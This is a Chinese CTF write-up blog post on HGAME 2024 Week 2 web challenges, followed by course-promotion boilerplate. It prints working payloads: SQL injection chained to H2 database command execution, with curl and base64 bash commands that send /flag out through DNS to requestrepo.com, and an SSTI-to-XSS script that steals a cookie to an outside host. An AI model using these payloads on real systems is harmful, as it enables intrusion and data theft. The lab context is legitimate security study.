HGAME 2024 WEEK2 Web方向题解 全_what the cow say (1)

最新推荐文章于 2024-07-20 18:16:53 发布
最新推荐文章于 2024-07-20 18:16:53 发布
阅读量934 收藏 21
点赞数 24
分类专栏： 2024年程序员学习 文章标签： 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_83974783/article/details/137702276
版权

image-20240212000035059

还有一个是选课界面，只需要选一个。

image-20240211235958169

猜测这里要同时选课+申请。预期应该是双线程脚本，我直接双开爆破了。

image-20240212000128964

选上了。

image-20240211235926902

search4member

考点总结：SQL注入（堆叠）+h2database RCE漏洞

题目描述：Vidar-Team have so much members,so 1ue write an api to search…

hint：

出题人失误；忘写connection.close();导致多次payload可使服务dos；请本地打通再尝试远程环境；带来不便请见谅

有附件给了源码。是java的SQL。导入IDEA看看。

package org.vidar.controller;


import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;

import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@Controller
public class SearchController {

    @Inject
    private DbManager dbManager;

    @Mapping("/")
    public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
        List<String> results = new ArrayList<>();
        if (keyword != null & !keyword.equals("")) {
            String sql = "SELECT \* FROM member WHERE intro LIKE '%" + keyword + "%';";
            DataSource dataSource = dbManager.getDataSource();
            Statement statement = dataSource.getConnection().createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            while (resultSet.next()) {
                results.add(resultSet.getString("id") + " : "
                        + resultSet.getString("intro") + " : "
                        + resultSet.getString("blog"));
            }
            resultSet.close();
            statement.close();
        }
        ModelAndView model = new ModelAndView("search.ftl");
        model.put("results", results);
        return model;
    }
}

数据库结构如下：

DROP TABLE IF EXISTS member;
CREATE TABLE member
(
    id          VARCHAR(30) NOT NULL UNIQUE COMMENT 'id',
    intro      VARCHAR(255) NOT NULL COMMENT 'intro',
    blog       VARCHAR(255) NOT NULL COMMENT 'blog'
);

INSERT INTO member (id, intro, blog)
VALUES (【xxx】);

测试，可以sql注入。payload：

?keyword=%E4%BC%9A%E9%95%BF%25'%3B--%2B

解码后：会长%';--+

image-20240212181636651

获取数据库：（数据库名字为H2）

?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+

image-20240212182946225

奇怪的数据库名字+数据库中找不到flag，这题可能不是简单的SQL注入。

开始搜索引擎，找到了h2database有一个RCE漏洞！

image-20240212191056918

参考：

H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)

Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)

这个总的来说就是创建一个数据库函数 SHELLEXEC ，函数可以直接执行命令

测试payload：（SQL注入+H2 RCE）（参照两个参考文章得出）（两个都可以）

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+


?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

测试payload，发现可以被DNS接收。

image-20240212202742839

最终payload：（执行命令）（之前CREATE ALIAS SHELLEXEC已经创建过SHELLEXEC函数，无需重复创建）（反弹shell失败了，尝试DNS带出flag）

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

最终payload带出flag成功。

image-20240212203405710

梅开二度

考点总结：Go语言+SSTI+XSS

题目描述：

image-20240212204141634

开题：

image-20240212204645857

后端代码实现：

image-20240212204704451

看这{{}}感觉好像SSTI，又说flag在bot手上，怀疑是XSS。有意思，没怎么学过go，边做边学吧。

搜索引擎启动，搜索关键字 GO SSTI XSS 安全漏洞。真能搜到，Go的SSTI危害比较小，能用的基本上只有XSS。不像Jinja2那样可以RCE。

查找到有用的参考文章：

浅学Go下的ssti - SecPulse.COM | 安全脉搏

Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)

Go SSTI初探 | tyskillのBlog

https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/

有附件，看看源码：（注释来自GPT4.0）

// 导入必要的包
import (
	"context"       // 用于创建和传递上下文
	"log"           // 用于记录日志
	"net/url"       // 用于解析URL
	"os"            // 用于读取环境变量和文件系统
	"regexp"        // 用于正则表达式匹配
	"sync"          // 用于同步goroutine
	"text/template" // 用于处理文本模板，存在XSS！
	"time"          // 用于处理时间

	"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
	"github.com/gin-gonic/gin"     // Gin是一个HTTP Web框架
	"golang.org/x/net/html"        // 用于操作HTML
)

// 预编译的正则表达式，用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(`script|file|on`)

// 全局锁，用于同步访问
var lock sync.Mutex

func main() {
	// 创建一个ChromeDP执行环境，配置Chrome运行参数
	allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.NoSandbox, chromedp.DisableGPU)...)
	defer cancel() // 确保在main函数结束时取消上下文，释放资源

	// 创建一个Gin路由器
	r := gin.Default()

	// 处理根路径的GET请求，动态生成HTML页面
	r.GET("/", func(c \*gin.Context) {
		tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
		if tmplStr == "" {
			tmplStr = defaultTmpl // 若未提供，则使用默认模板
		} else {
			// 检查模板字符串是否合法
			if re.MatchString(tmplStr) {
				c.String(403, "tmpl contains invalid word")
				return
			}
			if len(tmplStr) > 50 {
				c.String(403, "tmpl is too long")
				return
			}
			tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
		}
		tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
		if err != nil {
			c.String(500, "parse template error: %v", err)
			return
		}
		if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板，生成响应
			c.String(500, "execute template error: %v", err)
		}
	})

	// 处理"/bot"路径的GET请求，模拟浏览器访问提供的URL
	r.GET("/bot", func(c \*gin.Context) {
		rawURL := c.Query("url")    // 从查询参数获取URL
		u, err := url.Parse(rawURL) // 解析URL
		if err != nil {
			c.String(403, "url is invalid")
			return
		}
		if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
			c.String(403, "host is invalid")
			return
		}
		go func() { // 在新的goroutine中执行，以非阻塞方式处理请求
			lock.Lock()         // 在访问共享资源前加锁
			defer lock.Unlock() // 确保在函数结束时释放锁

			ctx, cancel := chromedp.NewContext(allocCtx,
				chromedp.WithBrowserOption(chromedp.WithDialTimeout(10\*time.Second)),
			)
			defer cancel()
			ctx, \_ = context.WithTimeout(ctx, 20\*time.Second) // 设置上下文超时
			if err := chromedp.Run(ctx,
				chromedp.Navigate(u.String()),  // 导航到指定的URL
				chromedp.Sleep(time.Second\*10), // 等待页面加载
			); err != nil {
				log.Println(err) // 记录错误
			}
		}()
		c.String(200, "bot will visit it.") // 响应客户端
	})

	// 处理"/flag"路径的GET请求，仅允许来自localhost的请求
	r.GET("/flag", func(c \*gin.Context) {
		if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag") // 读取flag文件
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
		c.Status(200)                                                 // 发送200状态码
	})

	// 启动Gin服务器，监听8080端口
	r.Run(":8080")
}

// defaultTmpl是默认的HTML模板，用于生成响应页面
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
 <title>YOU ARE</title>
</head>
<body>
 <div>欢迎来自 {{.RemoteIP}} 的朋友</div>
 <div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
 <div>flag在bot手上，想办法偷过来</div>
</body>
`

分析源码：

1、导包中的text/template（个人认为是Go语言的XSS标志）

Go 提供了两个模板包。一个是 text/template，另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护，因此该模板并不适合构建 Web 应用程序，而html/template与text/template基本相同，但增加了HTML编码等安全保护，更加适用于构建web应用程序。

template常用基本语法：

在{{}}内的操作称之为pipeline
在template中，点"."代表当前作用域的当前对象

{{.Query "aaa"}} 调用一个名为Query的方法，并传递字符串"aaa"作为参数

{{.}} 表示当前对象，如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似，循环

{{with …}}{{end}} 当前对象的值，上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似，条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template "navbar"}} 引入子模版

2、var re = regexp.MustCompile(script|file|on)

黑名单过滤script、file、on

3、if len(tmplStr) > 50

限制长度50以内。（当时想着payload被限制50以内那就麻烦了）（之后想到可以绕过的~）

4、tmplStr = html.EscapeString(tmplStr)

进行转义

image-20240212234259808

5、根路由\存在SSTI，注入点是tmpl

image-20240212234516553

到分析的第5点为止。我们已经发现了根路由存在SSTI，防御手段有三，分别是黑名单过滤、长度限制、转义。

转义了单双引号，我们用反引号代替。此外，我们绕一下，直接调用Query()函数，获取另外一个传参变量Jay17`的值。

先测试是否存在SSTI，payload如下，回显的值为95272022，表示存在SSTI

?tmpl={{println 0B101101011011011110001010110}}

image-20240213103009994

我们先XSS弄个弹窗试试：

?tmpl={{.Query `Jay17`}}&Jay17=<script>alert('XSS')</script>

显然成功了，XSS存在且我们可控。接下来我们就是思考如何带出flag了。

image-20240212235716262

继续分析

6、/bot路由主要是获取传参url，访问url参数的值，要满足访问的是本地8080端口。

image-20240213104229569

7、/flag路由将cookie设置为flag，前提是来源是本地（bot可以做到）

image-20240213105206865

8、整体思路就是让bot拿出flag给我。

直接让bot访问/flag路由可以让bot获取flag，但是带不出来。（访问url，可以看作只有一次访问）

结合XSS，我们首先让bot访问根路由，在根路由进行XSS，XSS执行js代码，使得bot访问/flag获取cookie，再带出cookie给我，bot的cookie此时就是flag。

payload模板：

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>【JS代码，用来XSS】</script>

现在的问题就是怎么XSS，在XSS的任务就是，获取cookie flag、带出flag。

JS代码部分：

async function fetchData() {
    // 首先访问网址A
    await fetch('http://127.0.0.1:8080/flag')
        .then(response => response.text()) 
        .then(data => console.log('网址A访问成功'))
        .catch(error => console.error('访问网址A时发生错误:', error));

    // 然后访问网址B，并将响应数据赋值给变量X
    let x; // 定义变量X
    await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
        .then(response => response.text()) 
        .then(data => {
            x = data; // 将获取到的数据（网页响应）赋值给变量X
        })
        .catch(error => console.error('访问网址B时发生错误:', error));
    window.open("http://jay17"+x.substring(6,46)+".kgb7xfn7.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();

==坑点1：==题目出网，但是vps监听不了，DNS可以解析，我们尝试用DNS带出cookie。

image-20240213153639061

image-20240213153649126

==坑点2：==URL编码问题。

因为利用/bot路由去XSS，这个路由首先解码一次，之后XSS时候又会解码一次。

绿色框框编码一次，红色框框编码两次。

image-20240213153845360

坑点3： Cookie问题

因为c.SetCookie("flag", string(flag), 3600, "/", "", false, true)，一开始用document.cookie带出cookie的时候死活带不出来

c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
  • c: 这通常代表当前的请求上下文（context）。在许多Web框架中，c用于访问和操作请求和响应，如获取请求数据、设置响应头或cookie等。
  • SetCookie: 这是一个方法，用于在用户的浏览器上设置一个cookie。
  • "flag": 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。
  • string(flag): 这是cookie的值。flag变量被转换为字符串类型，这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。
  • 3600: 这是cookie的过期时间，以秒为单位。3600表示cookie将在3600秒后过期，也就是1小时。过期后，浏览器将自动删除该cookie。
  • "/": 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。"/"表示这个cookie在域名下的所有页面都是可访问的。
  • "": 这是cookie的域。这里为空字符串，意味着cookie将应用于当前文档的域名。在实际使用中，你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。
  • false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true，则cookie只能在加密的HTTPS连接中被传输，这增加了安全性。
  • true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly，这意味着它只能通过HTTP(S)请求访问，而不能通过客户端脚本（如JavaScript）访问。这有助于减少跨站脚本攻击（XSS）的风险。
    • 当一个cookie被标记为HttpOnly，它不能通过客户端脚本（如JavaScript）访问。这是一个安全措施，旨在防止跨站脚本攻击（XSS）通过盗取cookie来损害用户的安全。因此，如果一个cookie被设置为HttpOnly，你不能通过在客户端运行的JavaScript代码，如document.cookie，来访问这个cookie。

那我们就是用Go语言的SSTI漏洞来获取cookie

请求如下网址，返回即使flag（之后再带出）

http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}

==坑点4：==花括号问题

因为flag里面有花括号，导致了DNS带不出数据。。。。。

尝试采用base64和url编码，带出也失败了，猜测不仅仅是花括号，其他的等号、百分号也会导致无法带出。。。

那我们就用字符串截取.substring()方法，截取flag中花括号内的纯字符。

payload：（按之前说的编码）

/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253E

image-20240213163312705

image-20240213163251489

image-20240213163610662

flag：

hgame{83762880f8ea0a4db75fb2e9b69efc42526e998b}

以下是萝莉的JS部分：

window.open("http://127.0.0.1:8080/flag");      //获取cookie(flag)
setTimeout(function(){   //延时1s执行
	var xhr = new XMLHttpRequest();
   	xhr.open('GET', 'http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
   	xhr.withCredentials = true;         //允许请求携带跨域凭证（如cookies）
    xhr.send();
   	xhr.onreadystatechange=function(){
        //从响应文本中截取前4个字符，并前缀添加y，存储在变量a中。
       	var a="y"+(xhr.responseText).substring(0,4);      
        //var a="y"+(xhr.responseText).length; //获取flag长度
       	window.open("http://"+a+".kbqsag.ceye.io");       //带出想要的数据（变量a）
   	};
},1000)

防御此漏洞方法：

Go模板包text/template提供了内置函数html来转义特殊字符，除此之外还提供了js函数转义js代码。

{{html "<script>alert(/xss/)</script>"}}
{{js "js代码"}}

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新

如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）
img

本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。

最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。

最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！下面就开始进入正题，如何从一个萌新一步一步进入网络安全行业。

学习路线图

其中最为瞩目也是最为基础的就是网络安全学习路线图，这里我给大家分享一份打磨了3个月，已经更新到4.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
img

.0版本的网络安全学习路线图。

相比起繁琐的文字，还是生动的视频教程更加适合零基础的同学们学习，这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。

网络安全工具箱

当然，当你入门之后，仅仅是视频教程已经不能满足你的需求了，你肯定需要学习各种工具的使用以及大量的实战项目，这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。

项目实战

最后就是项目实战，这里带来的是SRC资料&HW资料，毕竟实战是检验真理的唯一标准嘛~

面试题

归根结底，我们的最终目的都是为了就业，所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过！

一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-W9CYWfOT-1712953751594)]

2401_83974783
关注
  • 24
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vm虚拟机-简单题目（hgame-week4-easyvm、cg-ctf wxyVM1/2
01-08
然后先写了前面的cg-ctf的两个题目，其实当时做的时候还没太大虚拟机的感觉，后面接触到hgame的题目，然后再看的时候就感觉到有些那个意思，但是两个题目是基础题目也就不是太难为人，看成数据处理的考点也做的出来...
HGAME cdcollector-开源
04-24
【标题】"HGAME cdcollector-开源"是一个针对游戏收藏管理者的开源项目，它扩展了原有的cdcollector系统，特别设计用于管理和记录大量的电子游戏数据，尤其是HGAME（可能指的是成人向游戏）的数据库。这个系统利用...
HGAME2024 WEEK3-WEB
git_clone的博客
02-22 1129
HGAME2024 WEEK3-WEB（部分）
hgame-week3-web-wp
www_xuhss_com的博客
02-12 279
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 hgame第三周（web ak） 1.SecurityCenter 先看看hint（**vendor是第三方库和插件放置的文件夹，一般来源于composer的安装） 找到了使用的twig模板，应该是twig模板注入 查博客 依葫芦画瓢http://146.56.223.
HgameCTF 2024 web&misc wp
Nanian233的博客
03-07 799
HgameCTF 2024 web&misc 个人wp
hgame 2024 week1
yzzob的博客
02-17 672
1.请从vidar.club访问这个页面>>Referer: vidar.club2.请通过Mozilla/5.0 (Vidar;VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0访问此页面3.请从本地访问这个页面>>
HGame 2023 Week4 部分Writeup
vvbbnn00的专栏
02-06 3297
第四周的比赛难度较高，同时也出现了不少颇为有趣的题目。可惜笔者比较菜，做出来的题目数量并不是很多，不过里面确实有几道题值得好好讲讲。不多废话了，抓紧端上来吧（喜）。 注：本周CRYPTO类的赛题ECRSA在数学大佬的帮助下解出；本周REVERSE类赛题vm由大佬Latihas提供思路指导，在这里表达感谢！
HGAME 2024 WEEK2 Web方向题解 全_what the cow say (2)
2301_76223496的博客
04-15 1051
可参考的弱密码字典：https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt。真能搜到，Go的SSTI危害比较小，能用的基本上只有XSS。请本地打通再尝试远程环境；感觉好像SSTI，又说flag在bot手上，怀疑是XSS。我之前生成pickle那个引用了os包，可能环境没有，换个脚本。函数，无需重复创建）（反弹shell失败了，尝试DNS带出flag）注意，pickle，版本要一致，版本是311。
HGAME 2024 WEEK2 Web方向题解 全_what the cow say
2401_83944328的博客
04-11 871
if脚本解密看看结构import sysifprint(decryption(“eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4”.encode())) #输入sessionimport reimport sys。
hgame:Haskell 游戏引擎
05-30
2. **图形库**：Hgame可能使用如OpenGL或Vulkan等图形库进行图形渲染。在Haskell中，这些库通常通过FFI（Foreign Function Interface）来调用，允许Haskell代码与C/C++等其他语言编写的库进行交互。 3. **数据结构...
0hgame:用0h制作的游戏->阅读README
05-01
)2- DO NOT TOUCH BLACK THINGS IF YOU DONT WANT TO START AGAIN3- Try to reach the other side of the window to became the king of the penguins4- Enjoy it. (it is a rule, so if you are not enjoying the ...
单表替换密码算法破解工具
01-15
网络密码中介绍的基本加密方法，与凯撒密码相似，该软件提供基本的替换功能
前端面试题日常练-day97 【Less】
最新发布
qq_44640575的博客
07-20 342
border-radius()函数用于在Less中生成圆形边框效果。通过设置border-radius()函数，我们可以为元素的边框添加圆角效果，使边框呈现圆形的外观，从而美化页面元素的边框样式。
TinyVue v3.17.0 正式发布，推出了一款基于 Quill 2.0 的富文本编辑器，功能强大、开箱即用！
OpenTiny的博客
07-17 1144
本文由体验技术团队Kagol老师原创~我们非常高兴地宣布，2024年6月26日，TinyVue 发布了 v3.17.0 🎉。TinyVue 每次大版本发布，都会给大家带来一些实用的新特性，上一个版本我们重构了 chart-core，新增 CircleProcessChart 圆环进度图等6个新的图表组件，并增加了 Statistic 数据统计组件。表格图片超链接复制粘贴插入表情文件上传@提醒斜杆菜单v-auto-tip。
LG 选择 Flutter 来增强其智能电视操作系统 webOS
恋猫de小郭的博客
07-17 1612
总的来说，LG 是 Flutter 在 TV 领域的一次新的尝试，并且它是在脱离了 Android 平台的场景下实现的支持，虽然 webOS 并不是什么流行的系统，但是这也体现出了 Flutter 的特点：可以用较低的成本实现较好性能的跨平台。后续，在 LG 的主导下，WebOS 经过进一步修改，转变为智能电视操作系统，于是 WebOS TV 就诞生了，此后 LG 的 TV 基本路线定为 webOS ，在应用层面，WebOS TV 以基于 Web 的技术为基础。然后 LG 为什么选择 webOS？
博客前端项目学习day03——框架页
qq_53237241的博客
07-19 438
【代码】博客前端项目学习day03——框架页。
前端性能优化--懒加载
weixin_43799793的博客
07-19 152
3、同时还可结合 lazy loading 属性，利用浏览器的原生属性，进一步优化图片加载，不过其延迟加载机制完全是由浏览器自身决定的，在不同浏览器上效果不同(BTW，部分浏览器可能并不支持)。2、然后对元素进行监听，当图片进入可视区域时，提取元素的 data-src 即真实的图片地址赋值给 src 属性，就会去发送请求加载图片，实现了懒加载。设置为 1 张 1px*1px 的透明图片用作占位符，以防止出现出错图标。TinyPNG 网站: https://tinypng.com/
[web]-反序列化-绕过__wakeup(转)
mails2008的专栏
07-18 322
终点：很直接是echo $flag,在__destruct中，username==='admin' 和 password==100。反序列化过程中发现起点在终点之前调用，反而是捣乱的，那我们就不需要自动执行__wakeup，绕过的方法，设置的字段数量比实际字段大的值。其实简单的很简单，难得也很难，慢慢学习就好，没必要焦虑，觉得很难，纯粹一个兴趣爱好就行。起点：_wakeup函数中是$this->username='guest',是给赋值；按照常规思路，寻找起点、终点、跳板。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值